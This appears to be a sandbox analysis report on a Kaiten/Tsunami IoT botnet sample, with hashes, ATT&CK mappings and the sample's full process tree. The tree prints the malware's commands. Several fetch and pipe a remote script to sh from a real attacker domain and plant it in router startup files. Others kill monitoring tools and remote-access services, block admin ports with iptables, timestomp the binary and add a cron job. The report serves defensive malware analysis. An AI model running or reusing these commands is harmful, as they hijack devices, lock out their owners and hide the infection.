kaiten | 84e502b8332b69daf009cd2e03ec372f2e037cd6477483f4d0cfa4779e21381d

General

Target

7980ffb3ad788b73397ce84b1aadf99b
Size

38KB
MD5

7980ffb3ad788b73397ce84b1aadf99b
SHA1

5a72a4c4fc960458c2efaf37142b5f78eb99039f
SHA256

84e502b8332b69daf009cd2e03ec372f2e037cd6477483f4d0cfa4779e21381d
SHA512

e78c81a26c1ff2e10c323974f4d371bd21134d6471ae6e0669d2d18f42d4ac6daf2026094186c712acbd24f45917fba14f8577a4f6564324c039fcc449d1ae31
SSDEEP

768:XadvhPGfQ+v/tqHOLkTT1ziJbaTfmKNj/qiq8TZ/aWCdSOuGe:OP2/tr6xUSfpNj7PKSBP

Score

10^/10

kaiten botnet persistence

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/712-1-0x00400000-0x10001560-memory.dmp	family_kaiten2

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.

Dynamic Resolution
T1568

Processes:

description ioc

File opened for modification /etc/resolv.conf
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
persistence

Scheduled Task/Job
T1053

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.SExNcP crontab
Enumerates running processes
Discovers information about currently running processes on the system

description	ioc
File opened for modification	/etc/resolv.conf

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.SExNcP	crontab

Enumerates kernel/hardware configuration 1 TTPs 45 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

Processes:

systemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctl

description	ioc	process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

Processes:

killallkillallkillallkillallsystemctlkillallsystemctlkillallkillallkillallkillallkillallkillallkillallsystemctlsystemctlsystemctlsystemctlkillallkillallkillallsystemctlsystemctlkillallsystemctlsystemctl

description	ioc	process
File opened for reading	/proc/70/stat	killall
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/76/stat	killall
File opened for reading	/proc/79/stat	killall
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/71/stat	killall
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/374/stat	killall
File opened for reading	/proc/74/stat	killall
File opened for reading	/proc/864/stat	killall
File opened for reading	/proc/336/stat	killall
File opened for reading	/proc/705/stat	killall
File opened for reading	/proc/702/stat	killall
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/534/stat	killall
File opened for reading	/proc/765/stat	killall
File opened for reading	/proc/82/stat	killall
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/697/stat	killall
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	killall
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/722/stat	killall
File opened for reading	/proc/337/stat	killall
File opened for reading	/proc/765/stat	killall
File opened for reading	/proc/116/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/70/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/79/stat	killall
File opened for reading	/proc/8/stat	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/144/stat	killall
File opened for reading	/proc/791/stat	killall
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/696/cmdline	killall
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/778/stat	killall
File opened for reading	/proc/82/stat	killall
File opened for reading	/proc/534/stat	killall
File opened for reading	/proc/712/stat	killall
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/106/stat	killall
File opened for reading	/proc/70/stat	killall
File opened for reading	/proc/150/stat	killall
File opened for reading	/proc/117/cmdline	killall
File opened for reading	/proc/79/stat	killall
File opened for reading	/proc/702/stat	killall
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/69/stat	killall
File opened for reading	/proc/584/stat	killall
File opened for reading	/proc/73/stat	killall
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/106/stat	killall
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/13/stat	killall

Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.

Processes:

7980ffb3ad788b73397ce84b1aadf99b

description ioc process

File opened for modification /tmp/udevd0.pid 7980ffb3ad788b73397ce84b1aadf99b

description	ioc	process
File opened for modification	/tmp/udevd0.pid	7980ffb3ad788b73397ce84b1aadf99b

/tmp/7980ffb3ad788b73397ce84b1aadf99b
/tmp/7980ffb3ad788b73397ce84b1aadf99b
1⤵
- Writes file to tmp directory
PID:712

/bin/sh
sh -c "killall -9 tcpdump > /dev/null 2>&1 &"
2⤵
PID:714

/bin/sh
sh -c "killall -9 strace > /dev/null 2>&1 &"
2⤵
PID:717

/bin/sh
sh -c "nvram set rc_firewall=\"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh\" > /dev/null 2>&1 "
2⤵
PID:720

/bin/sh
sh -c "nvram commit > /dev/null 2>&1"
2⤵
PID:723

/bin/sh
sh -c "( echo \"sleep 120 && wget -q -O - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" > /etc/persistent/rc.poststart ) > /dev/null 2>&1"
2⤵
PID:727

/bin/sh
sh -c "chmod 755 /etc/persistent/rc.poststart > /dev/null 2>&1 "
2⤵
PID:730

/bin/chmod
chmod 755 /etc/persistent/rc.poststart
3⤵
PID:732

/bin/sh
sh -c "cfgmtd -w -p /etc/ > /dev/null 2>&1 "
2⤵
PID:733

/bin/sh
sh -c "( cfgmtd -w -p /etc/ && sleep 432000 && reboot & ) > /dev/null 2>&1"
2⤵
PID:734

/bin/sh
sh -c "( cat /mnt/Config/S1_01timezone | grep -v derpcity | grep -v wireless > /var/run/.x00 ) > /dev/null 2>&1"
2⤵
PID:737

/bin/sh
sh -c "( echo \"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" >> /var/run/.x00 ) > /dev/null 2>&1"
2⤵
PID:744

/bin/sh
sh -c "( cat /var/run/.x00 > /mnt/Config/S1_01timezone )> /dev/null 2>&1"
2⤵
PID:746

/bin/sh
sh -c "rm -rf /var/run/pty > /dev/null 2>&1 &"
2⤵
PID:748

/bin/sh
sh -c "rm -rf /tmp/pty > /dev/null 2>&1 &"
2⤵
PID:750

/bin/sh
sh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"
2⤵
PID:753

/bin/sh
sh -c "killall -9 telnetd > /dev/null 2>&1 &"
2⤵
PID:755

/bin/sh
sh -c "service httpd stop > /dev/null 2>&1 &"
2⤵
PID:757

/bin/sh
sh -c "service telnetd stop > /dev/null 2>&1 &"
2⤵
PID:760

/bin/sh
sh -c "service sshd stop > /dev/null 2>&1 &"
2⤵
PID:762

/bin/sh
sh -c "killall -9 telnetd > /dev/null 2>&1 &"
2⤵
PID:766

/bin/sh
sh -c "killall -9 utelnetd > /dev/null 2>&1 &"
2⤵
PID:770

/bin/sh
sh -c "killall -9 dropbear > /dev/null 2>&1 &"
2⤵
PID:775

/bin/sh
sh -c "killall -9 sshd > /dev/null 2>&1 &"
2⤵
PID:778

/bin/sh
sh -c "killall -9 minihttpd > /dev/null 2>&1 &"
2⤵
PID:781

/bin/sh
sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"
2⤵
PID:784

/bin/sh
sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"
2⤵
PID:786

/bin/sh
sh -c "nvram set http_enable=0 > /dev/null 2>&1"
2⤵
PID:792

/bin/sh
sh -c "killall -9 httpd > /dev/null 2>&1 &"
2⤵
PID:798

/bin/sh
sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"
2⤵
PID:803

/bin/sh
sh -c "rm -rf /var/run/wgsh > /dev/null 2>&1 &"
2⤵
PID:805

/bin/sh
sh -c "rm -rf /var/run/bbsh > /dev/null 2>&1 &"
2⤵
PID:808

/bin/sh
sh -c "rm -rf /var/run/tty1 > /dev/null 2>&1 &"
2⤵
PID:810

/bin/sh
sh -c "rm -rf /var/run/tty2 > /dev/null 2>&1 &"
2⤵
PID:813

/bin/sh
sh -c "rm -rf /var/run/tty3 > /dev/null 2>&1 &"
2⤵
PID:815

/bin/sh
sh -c "rm -rf /var/run/tty4 > /dev/null 2>&1 &"
2⤵
PID:818

/bin/sh
sh -c "rm -rf /var/run/tty5 > /dev/null 2>&1 &"
2⤵
PID:820

/bin/sh
sh -c "rm -rf /var/run/tty6 > /dev/null 2>&1 &"
2⤵
PID:822

/bin/sh
sh -c "rm -rf /tmp/tty1 > /dev/null 2>&1 &"
2⤵
PID:829

/bin/sh
sh -c "rm -rf /tmp/tty2 > /dev/null 2>&1 &"
2⤵
PID:831

/bin/sh
sh -c "rm -rf /tmp/tty3 > /dev/null 2>&1 &"
2⤵
PID:834

/bin/sh
sh -c "rm -rf /tmp/tty4 > /dev/null 2>&1 &"
2⤵
PID:836

/bin/sh
sh -c "rm -rf /tmp/tty5 > /dev/null 2>&1 &"
2⤵
PID:840

/bin/sh
sh -c "rm -rf /tmp/tty6 > /dev/null 2>&1 &"
2⤵
PID:842

/bin/sh
sh -c "killall -9 arm > /dev/null 2>&1 &"
2⤵
PID:845

/bin/sh
sh -c "killall -9 mips > /dev/null 2>&1 &"
2⤵
PID:848

/bin/sh
sh -c "killall -9 mipsel > /dev/null 2>&1 &"
2⤵
PID:851

/bin/sh
sh -c "killall -9 powerpc > /dev/null 2>&1 &"
2⤵
PID:854

/bin/sh
sh -c "killall -9 ppc > /dev/null 2>&1 &"
2⤵
PID:856

/bin/sh
sh -c "killall -9 daemon.armv4l.mod > /dev/null 2>&1 &"
2⤵
PID:859

/bin/sh
sh -c "killall -9 daemon.i686.mod > /dev/null 2>&1 &"
2⤵
PID:861

/bin/sh
sh -c "killall -9 daemon.mips.mod > /dev/null 2>&1 &"
2⤵
PID:863

/bin/sh
sh -c "killall -9 daemon.mipsel.mod > /dev/null 2>&1 &"
2⤵
PID:866

/bin/sh
sh -c "rm -rf /tmp/.xs/* > /dev/null 2>&1 &"
2⤵
PID:869

/bin/sh
sh -c "iptables -A INPUT -p tcp --dport 22 -j DROP > /dev/null 2>&1 &"
2⤵
PID:871

/bin/sh
sh -c "iptables -A INPUT -p tcp --dport 23 -j DROP > /dev/null 2>&1 &"
2⤵
PID:873

/bin/sh
sh -c "iptables -A INPUT -p tcp --dport 80 -j DROP > /dev/null 2>&1 &"
2⤵
PID:876

/bin/sh
sh -c "iptables -A INPUT -p tcp --dport 8080 -j DROP > /dev/null 2>&1 &"
2⤵
PID:879

/bin/sh
sh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"
2⤵
PID:886

/bin/sh
sh -c "chmod 700 /tmp/7980ffb3ad788b73397ce84b1aadf99b > /dev/null 2>&1 &"
2⤵
PID:888

/bin/sh
sh -c "touch -acmr /bin/ls /tmp/7980ffb3ad788b73397ce84b1aadf99b"
2⤵
PID:890

/usr/bin/touch
touch -acmr /bin/ls /tmp/7980ffb3ad788b73397ce84b1aadf99b
3⤵
PID:893

/bin/sh
sh -c "(crontab -l | grep -v \"/tmp/7980ffb3ad788b73397ce84b1aadf99b\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x001804289383) > /dev/null 2>&1"
2⤵
PID:895

/bin/sh
sh -c "echo \"* * * * * /tmp/7980ffb3ad788b73397ce84b1aadf99b > /dev/null 2>&1 &\" >> /var/run/.x001804289383"
2⤵
PID:903

/bin/sh
sh -c "crontab /var/run/.x001804289383"
2⤵
PID:905

/usr/bin/crontab
crontab /var/run/.x001804289383
3⤵
- Creates/modifies Cron job
PID:906

/bin/sh
sh -c "rm -rf /var/run/.x001804289383"
2⤵
PID:910

/bin/rm
rm -rf /var/run/.x001804289383
3⤵
PID:911

/usr/bin/killall
killall -9 tcpdump
1⤵
- Reads runtime system information
PID:716

/usr/bin/killall
killall -9 strace
1⤵
- Reads runtime system information
PID:719

/bin/cat
cat /mnt/Config/S1_01timezone
1⤵
PID:740

/bin/grep
grep -v derpcity
1⤵
PID:741

/bin/grep
grep -v wireless
1⤵
PID:742

/bin/rm
rm -rf /var/run/pty
1⤵
PID:749

/bin/rm
rm -rf /tmp/pty
1⤵
PID:751

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:756

/usr/sbin/service
service httpd stop
1⤵
PID:759

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:764

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:768

/bin/systemctl
systemctl --quiet is-active multi-user.target
2⤵
- Enumerates kernel/hardware configuration
PID:773

/bin/systemctl
systemctl -p Triggers show dbus.socket
2⤵
- Enumerates kernel/hardware configuration
PID:811

/bin/systemctl
systemctl -p Triggers show ssh.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:827

/bin/systemctl
systemctl -p Triggers show syslog.socket
2⤵
- Enumerates kernel/hardware configuration
PID:839

/bin/systemctl
systemctl -p Triggers show systemd-fsckd.socket
2⤵
- Enumerates kernel/hardware configuration
PID:852

/bin/systemctl
systemctl -p Triggers show systemd-initctl.socket
2⤵
- Enumerates kernel/hardware configuration
PID:867

/bin/systemctl
systemctl -p Triggers show systemd-journald-audit.socket
2⤵
- Enumerates kernel/hardware configuration
PID:881

/bin/systemctl
systemctl -p Triggers show systemd-journald-dev-log.socket
2⤵
- Enumerates kernel/hardware configuration
PID:894

/bin/systemctl
systemctl -p Triggers show systemd-journald.socket
2⤵
- Enumerates kernel/hardware configuration
PID:904

/bin/systemctl
systemctl -p Triggers show systemd-networkd.socket
2⤵
- Enumerates kernel/hardware configuration
PID:909

/bin/systemctl
systemctl -p Triggers show systemd-rfkill.socket
2⤵
- Enumerates kernel/hardware configuration
PID:917

/bin/systemctl
systemctl -p Triggers show systemd-udevd-control.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:922

/bin/systemctl
systemctl -p Triggers show systemd-udevd-kernel.socket
2⤵
- Enumerates kernel/hardware configuration
PID:925

/usr/sbin/service
service telnetd stop
1⤵
PID:761

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:767

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:772

/bin/systemctl
systemctl --quiet is-active multi-user.target
2⤵
- Enumerates kernel/hardware configuration
PID:779

/bin/systemctl
systemctl -p Triggers show dbus.socket
2⤵
- Enumerates kernel/hardware configuration
PID:816

/bin/systemctl
systemctl -p Triggers show ssh.socket
2⤵
- Enumerates kernel/hardware configuration
PID:832

/bin/systemctl
systemctl -p Triggers show syslog.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:846

/bin/systemctl
systemctl -p Triggers show systemd-fsckd.socket
2⤵
- Enumerates kernel/hardware configuration
PID:858

/bin/systemctl
systemctl -p Triggers show systemd-initctl.socket
2⤵
- Enumerates kernel/hardware configuration
PID:875

/bin/systemctl
systemctl -p Triggers show systemd-journald-audit.socket
2⤵
- Enumerates kernel/hardware configuration
PID:891

/bin/systemctl
systemctl -p Triggers show systemd-journald-dev-log.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:901

/bin/systemctl
systemctl -p Triggers show systemd-journald.socket
2⤵
- Enumerates kernel/hardware configuration
PID:907

/bin/systemctl
systemctl -p Triggers show systemd-networkd.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:912

/bin/systemctl
systemctl -p Triggers show systemd-rfkill.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:920

/bin/systemctl
systemctl -p Triggers show systemd-udevd-control.socket
2⤵
- Enumerates kernel/hardware configuration
PID:924

/bin/systemctl
systemctl -p Triggers show systemd-udevd-kernel.socket
2⤵
- Enumerates kernel/hardware configuration
PID:926

/usr/sbin/service
service sshd stop
1⤵
PID:765

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:771

/usr/bin/basename
basename /usr/sbin/service
2⤵
PID:776

/bin/systemctl
systemctl --quiet is-active multi-user.target
2⤵
- Enumerates kernel/hardware configuration
PID:782

/bin/systemctl
systemctl -p Triggers show dbus.socket
2⤵
- Enumerates kernel/hardware configuration
PID:826

/bin/systemctl
systemctl -p Triggers show ssh.socket
2⤵
- Enumerates kernel/hardware configuration
PID:837

/bin/systemctl
systemctl -p Triggers show syslog.socket
2⤵
- Enumerates kernel/hardware configuration
PID:850

/bin/systemctl
systemctl -p Triggers show systemd-fsckd.socket
2⤵
- Enumerates kernel/hardware configuration
PID:864

/bin/systemctl
systemctl -p Triggers show systemd-initctl.socket
2⤵
- Enumerates kernel/hardware configuration
PID:877

/bin/systemctl
systemctl -p Triggers show systemd-journald-audit.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:892

/bin/systemctl
systemctl -p Triggers show systemd-journald-dev-log.socket
2⤵
- Enumerates kernel/hardware configuration
PID:902

/bin/systemctl
systemctl -p Triggers show systemd-journald.socket
2⤵
- Enumerates kernel/hardware configuration
PID:908

/bin/systemctl
systemctl -p Triggers show systemd-networkd.socket
2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:916

/bin/systemctl
systemctl -p Triggers show systemd-rfkill.socket
2⤵
- Enumerates kernel/hardware configuration
PID:921

/bin/systemctl
systemctl -p Triggers show systemd-udevd-control.socket
2⤵
- Enumerates kernel/hardware configuration
PID:923

/bin/systemctl
systemctl -p Triggers show systemd-udevd-kernel.socket
2⤵
- Enumerates kernel/hardware configuration
PID:927

/usr/bin/killall
killall -9 telnetd
1⤵
PID:769

/usr/bin/killall
killall -9 utelnetd
1⤵
- Reads runtime system information
PID:774

/usr/bin/killall
killall -9 dropbear
1⤵
- Reads runtime system information
PID:777

/usr/bin/killall
killall -9 sshd
1⤵
- Reads runtime system information
PID:780

/usr/bin/killall
killall -9 minihttpd
1⤵
- Reads runtime system information
PID:783

/bin/cat
cat /var/run/thttpd.pid
1⤵
PID:787

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:790

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:791

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:795

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:796

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:800

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:801

/usr/bin/killall
killall -9 httpd
1⤵
- Reads runtime system information
PID:802

/bin/cat
cat /var/run/httpd.pid
1⤵
PID:806

/bin/rm
rm -rf /var/run/wgsh
1⤵
PID:807

/bin/rm
rm -rf /var/run/bbsh
1⤵
PID:809

/bin/rm
rm -rf /var/run/tty1
1⤵
PID:812

/bin/rm
rm -rf /var/run/tty2
1⤵
PID:814

/bin/rm
rm -rf /var/run/tty3
1⤵
PID:817

/bin/rm
rm -rf /var/run/tty4
1⤵
PID:819

/bin/rm
rm -rf /var/run/tty5
1⤵
PID:821

/bin/rm
rm -rf /var/run/tty6
1⤵
PID:828

/bin/rm
rm -rf /tmp/tty1
1⤵
PID:830

/bin/rm
rm -rf /tmp/tty2
1⤵
PID:833

/bin/rm
rm -rf /tmp/tty3
1⤵
PID:835

/bin/rm
rm -rf /tmp/tty4
1⤵
PID:838

/bin/rm
rm -rf /tmp/tty5
1⤵
PID:841

/bin/rm
rm -rf /tmp/tty6
1⤵
PID:844

/usr/bin/killall
killall -9 arm
1⤵
- Reads runtime system information
PID:847

/usr/bin/killall
killall -9 mips
1⤵
PID:849

/usr/bin/killall
killall -9 mipsel
1⤵
- Reads runtime system information
PID:853

/usr/bin/killall
killall -9 powerpc
1⤵
- Reads runtime system information
PID:855

/usr/bin/killall
killall -9 ppc
1⤵
- Reads runtime system information
PID:857

/usr/bin/killall
killall -9 daemon.armv4l.mod
1⤵
- Reads runtime system information
PID:860

/usr/bin/killall
killall -9 daemon.i686.mod
1⤵
- Reads runtime system information
PID:862

/usr/bin/killall
killall -9 daemon.mips.mod
1⤵
- Reads runtime system information
PID:865

/usr/bin/killall
killall -9 daemon.mipsel.mod
1⤵
- Reads runtime system information
PID:868

/bin/rm
rm -rf "/tmp/.xs/*"
1⤵
PID:870

/sbin/iptables
iptables -A INPUT -p tcp --dport 22 -j DROP
1⤵
PID:872

/sbin/iptables
iptables -A INPUT -p tcp --dport 23 -j DROP
1⤵
PID:874

/sbin/iptables
iptables -A INPUT -p tcp --dport 80 -j DROP
1⤵
PID:878

/sbin/iptables
iptables -A INPUT -p tcp --dport 8080 -j DROP
1⤵
PID:885

/bin/chmod
chmod 700 /tmp/7980ffb3ad788b73397ce84b1aadf99b
1⤵
PID:889

/usr/bin/crontab
crontab -l
1⤵
PID:897

/bin/grep
grep -v /tmp/7980ffb3ad788b73397ce84b1aadf99b
1⤵
PID:898

/bin/grep
grep -v "no cron"
1⤵
PID:899

/bin/grep
grep -v lesshts/run.sh
1⤵
PID:900

/bin/sh
sh -c "/bin/uname -n"
1⤵
PID:914

/bin/uname
/bin/uname -n
2⤵
PID:915

/bin/sh
sh -c "/bin/uname -n"
1⤵
PID:918

/bin/uname
/bin/uname -n
2⤵
PID:919

/usr/local/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:759

/usr/local/bin/systemctl
systemctl stop httpd.service
1⤵
PID:759

/usr/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:759

/usr/bin/systemctl
systemctl stop httpd.service
1⤵
PID:759

/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:759

/bin/systemctl
systemctl stop httpd.service
1⤵
- Enumerates kernel/hardware configuration
PID:759

/usr/local/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:761

/usr/local/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:761

/usr/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:761

/usr/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:761

/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:761

/bin/systemctl
systemctl stop telnetd.service
1⤵
- Enumerates kernel/hardware configuration
PID:761

/usr/local/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:765

/usr/local/bin/systemctl
systemctl stop sshd.service
1⤵
PID:765

/usr/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:765

/usr/bin/systemctl
systemctl stop sshd.service
1⤵
PID:765

/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:765

/bin/systemctl
systemctl stop sshd.service
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:765

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Dynamic Resolution

1

T1568

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/run/.x00
Filesize
87B

MD5
e9edd49b68669411a5e0ee7edbeb022a

SHA1
83dac91e569f69ea4a4325b7fb979721bb13f07d

SHA256
cbf58a1d936bfb8a4c4f272f96c57f67ae5c8a0dfc56e17e8117ac8a12fba892

SHA512
da53b5620ccbffd257db206836844bb7fdf3202a852009b459f672b9ccbc7e91c0fc58dcf98410ef2a7b21e9f9655a33bd9439cb1fdb8114d925cb9b674e30c2

Download Submit
/run/.x001804289383
Filesize
67B

MD5
8bbe443214e9ff3e013ff64efce486fd

SHA1
4444472b7d2a1582f1e6e3da2d8a85517df29bbd

SHA256
6077dc677a03b74f08a29ecd9e791010a6f7504380ac3e9d33b13efedf70a1f8

SHA512
f8cf9107d7ae3bede8b31abd7a17497586ef87b4420c19fd3a795fb5a3d01cd1f8ab79c9bf67356b48c5b3a78595d35f943235b26aef8230b556b9165d079856

Download Submit
/var/spool/cron/crontabs/tmp.SExNcP
Filesize
264B

MD5
15956ba6e85844a76694e3438412f8ba

SHA1
07dd46a3b4d8877056656a758d5bc69c1b28a9aa

SHA256
69f0b6a762d335aff49e44d46ce53beede33ad74076b8d4c92ac6826d2a48d93

SHA512
a2a5cf685f2bf63773c778443c4250a4bd1c0aa8593622b49246f0c8eac63d43cdff1dda5b06e8bc07e582d2de2b999eed9f9374bc7d830b7072a57f9eea4c27

Download Submit
memory/712-1-0x00400000-0x10001560-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads